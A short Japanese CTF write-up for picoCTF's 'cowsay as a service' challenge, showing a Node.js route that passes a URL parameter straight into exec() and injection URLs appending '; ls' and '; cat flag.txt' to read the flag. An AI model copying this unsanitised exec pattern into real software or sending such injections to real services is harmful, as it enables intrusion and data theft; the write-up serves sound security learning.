概要
Webアプリケーションのハッキングを軽く学びます。
問題
実際にハッキングをすると大問題になるので、常設のハッキングチャレンジに取り組みます。
動作を確認する
与えられたURL( https://caas.mars.picoctf.net/ )にアクセスすると、このような画面になります。
「牛があなたのメッセージをしゃべりますよ」といったWebアプリになっているようです。
うっしっしーって感じですね。
URLの最後にメッセージを入れると牛がしゃべります。
牛がうっしっしーって言っています。*
スクリプトを見る
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
与えられたスクリプトは/cowsay/
以下に来たメッセージを以下のようにShellで実行して、レスポンスを表示しているだけっぽいです。
/usr/games/cowsay 与えられたメッセージ
これではOSコマンドインジェクションが可能になってしまいます。これはクラッカーからしたら「うっしっしー」って感じですね。
実際に攻撃する
https://caas.mars.picoctf.net/cowsay/うっしっしー; ls
このようなリクエストを送ることで、内部では以下のようなコマンドが実行されます。
/usr/games/cowsay うっしっしー; ls
flag.txt
があることが分かったので、cat
コマンドで取り出します。
https://caas.mars.picoctf.net/cowsay/うっしっしー ;cat flag.txt
フラグが取り出せました!
うっしっしー!